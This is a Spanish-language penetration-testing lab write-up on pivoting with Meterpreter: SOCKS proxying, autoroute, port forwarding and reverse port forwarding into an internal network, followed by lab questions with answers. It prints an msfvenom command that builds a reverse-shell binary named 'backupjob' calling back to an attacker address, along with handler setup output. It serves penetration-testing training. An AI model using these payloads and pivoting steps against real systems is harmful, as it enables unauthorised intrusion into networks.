Page cover

🔁Meterpreter Tunneling & Port Forwarding

Ahora consideremos un escenario en el que tenemos acceso al shell de Meterpreter en el servidor Ubuntu (el host pivote) y queremos realizar escaneos de enumeración a través del host pivote, pero nos gustaría aprovechar las ventajas que nos brindan las sesiones de Meterpreter . En tales casos, aún podemos crear un pivote con nuestra sesión de Meterpreter sin depender del reenvío de puertos SSH. Podemos crear un shell Meterpreter para el servidor Ubuntu con el siguiente comando, que devolverá un shell en nuestro host de ataque en el puerto 8080.

Creación de Payload para Ubuntu Pivot Host

afsh4ck@kali$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: backupjob

Antes de copiar la carga útil, podemos iniciar un multi/handler , también conocido como controlador de carga útil genérico.

Configuración e inicio del multi/handler

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
lport => 8080
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:8080 

Podemos copiar el archivo binario backupjob al host pivote de Ubuntu sobre SSH y ejecutarlo para obtener una sesión de Meterpreter.

Ejecutar el payload en el host pivote

Necesitamos asegurarnos de que la sesión de Meterpreter se establezca correctamente al ejecutar la carga útil.

Establecer de sesión de Meterpreter

Sabemos que el objetivo de Windows está en la red 172.16.5.0/23. Entonces, suponiendo que el firewall en el destino de Windows permite solicitudes ICMP, querríamos realizar un barrido de ping en esta red. Podemos hacerlo usando Meterpreter con el módulo ping_sweep, que generará el tráfico ICMP desde el host de Ubuntu a la red 172.16.5.0/23.

Ping Sweep (Barrido de ping)

También podríamos realizar un barrido de ping utilizando un for loop en un host pivote de destino que hará ping a cualquier dispositivo en el rango de red que especifiquemos. Aquí hay dos frases ingeniosas de bucle de barrido de ping útiles que podríamos usar para hosts de pivote basados ​​en Linux y Windows.

Ping Sweep For Loop en hosts pivotantes de Linux

Barrido de ping para bucle usando CMD

Barrido de ping con PowerShell

Nota: Es posible que un barrido de ping no dé como resultado respuestas exitosas en el primer intento, especialmente cuando se comunica a través de redes. Esto puede deberse al tiempo que le toma a un host construir su caché arp. En estos casos, es bueno intentar nuestro barrido de ping al menos dos veces para garantizar que se construya el caché arp.

Podría haber escenarios en los que el firewall de un host bloquee el ping (ICMP) y el ping no nos proporcione respuestas exitosas. En estos casos podemos realizar un escaneo TCP en la red 172.16.5.0/23 con Nmap. En lugar de usar SSH para el reenvío de puertos, también podemos usar el módulo de enrutamiento post-explotación de Metasploit socks_proxy para configurar un proxy local en nuestro host de ataque. Configuraremos el proxy SOCKS para SOCKS version 4a. Esta configuración de SOCKS iniciará un oyente en el puerto 9050 y enrutará todo el tráfico recibido a través de nuestra sesión de Meterpreter.

Configuración del proxy SOCKS de MSF

Confirmar que el servidor proxy se está ejecutando

Después de iniciar el servidor SOCKS, configuraremos cadenas proxy para enrutar el tráfico generado por otras herramientas como Nmap a través de nuestro pivote en el host Ubuntu comprometido. Podemos agregar la siguiente línea al final de nuestro archivo proxychains.conf ubicado en /etc/proxychains.confsi aún no está allí.

Agregar una línea a proxychains.conf si es necesario

Nota: Dependiendo de la versión que esté ejecutando el servidor SOCKS, es posible que ocasionalmente necesitemos cambiar socks4 a socks5 en proxychains.conf.

Finalmente, necesitamos decirle a nuestro módulo socks_proxy que enrute todo el tráfico a través de nuestra sesión de Meterpreter. Podemos usar el módulo de Metasploit post/multi/manage/autoroute para agregar rutas para la subred 172.16.5.0 y luego enrutar todo el tráfico de nuestras cadenas de proxy.

Crear rutas con AutoRoute

También es posible agregar rutas con autoroute ejecutando autoroute desde la sesión de Meterpreter.

Después de agregar las rutas necesarias, podemos usar la opción -p para enumerar las rutas activas para asegurarnos de que nuestra configuración se aplique como se esperaba.

Listado de rutas activas con AutoRoute

Como puede ver en el resultado anterior, la ruta se agregó a la red 172.16.5.0/23. Ahora podremos usar proxychains para enrutar nuestro tráfico de Nmap a través de nuestra sesión de Meterpreter.

Prueba de funcionalidad de enrutamiento y proxy


Port Forwarding

El reenvío de puertos también se puede lograr utilizando el módulo de Meterpreter portfwd. Podemos habilitar un listener en nuestro host de ataque y solicitar a Meterpreter que reenvíe todos los paquetes recibidos en este puerto a través de nuestra sesión de Meterpreter a un host remoto en la red 172.16.5.0/23.

Opciones de portwf

Creación de retransmisión TCP local

El comando anterior solicita a la sesión de Meterpreter que inicie un listener en el puerto local de nuestro host de ataque ( -l) 3300y reenvíe todos los paquetes al servidor Windows remoto (-r) 172.16.5.19en el puerto ( -p) 3389 a través de nuestra sesión de Meterpreter. Ahora, si ejecutamos xfreerdp en nuestro localhost:3300, podremos crear una sesión de escritorio remoto.

Conexión al Target Windows a través de localhost

Salida de Netstat

Podemos usar Netstat para ver información sobre la sesión que establecimos recientemente. Desde una perspectiva defensiva, podemos beneficiarnos del uso de Netstat si sospechamos que un host ha sido comprometido. Esto nos permite ver cualquier sesión que haya establecido un anfitrión.


Reverse Port Forwarding con Meterpreter

De manera similar a los reenvíos de puertos locales, Metasploit también puede funcionar con reverse port forwarding. Iniciaremos un oyente en un nuevo puerto en nuestro host de ataque para Windows y solicitaremos al servidor Ubuntu que reenvíe todas las solicitudes recibidas al servidor Ubuntu en el puerto 1234a nuestro oyente en el puerto 8081.

Podemos crear un puerto inverso hacia adelante en nuestro shell existente del escenario anterior usando el siguiente comando. Este comando reenvía todas las conexiones en el puerto 1234que se ejecuta en el servidor Ubuntu a nuestro host de ataque en el puerto local ( -l) 8081. También configuraremos nuestro oyente para escuchar en el puerto 8081 para un shell de Windows.

Reglas de Reverse Port Forwarding

Configuración e inicio de multi/handler

Ahora podemos crear un payload de reverse shell que enviará una conexión de regreso a nuestro servidor Ubuntu en 172.16.5.129:1234 cuando se ejecute en nuestro host de Windows. Una vez que nuestro servidor Ubuntu reciba esta conexión, la reenviará a IP-ATACANTE:8081 que configuramos.

Generando el Payload de Windows

Finalmente, si ejecutamos nuestra carga útil en el host de Windows, deberíamos poder recibir un shell de Windows pivotado a través del servidor Ubuntu.

Estableciendo la sesión de Meterpreter


Caso práctico

Pregunta 1

¿Qué dos direcciones IP se pueden descubrir al intentar realizar un barrido de ping desde el host pivote de Ubuntu? (Formato: xxxx,xxxx)

Creamos el Payload para el Pivot Host

Iniciamos un Multi Handler con Metasploit

Envio del payload y ejecución

Nos enviamos el payload al servidor de pivote y lo ejecutamos. Automáticamente se nos devolverá una conexión de Meterpreter a nuestro multi handler:

Ping Sweep

Obtenemos correctamente las 2 IP´s

Pregunta 2

¿Cuál de las rutas que agrega AutoRoute permite que se pueda acceder a 172.16.5.19 desde el host del ataque? (Formato: xxxx/xxxx)

Ya tenemos la ruta: 172.16.5.0/255.255.254.0

Última actualización

¿Te fue útil?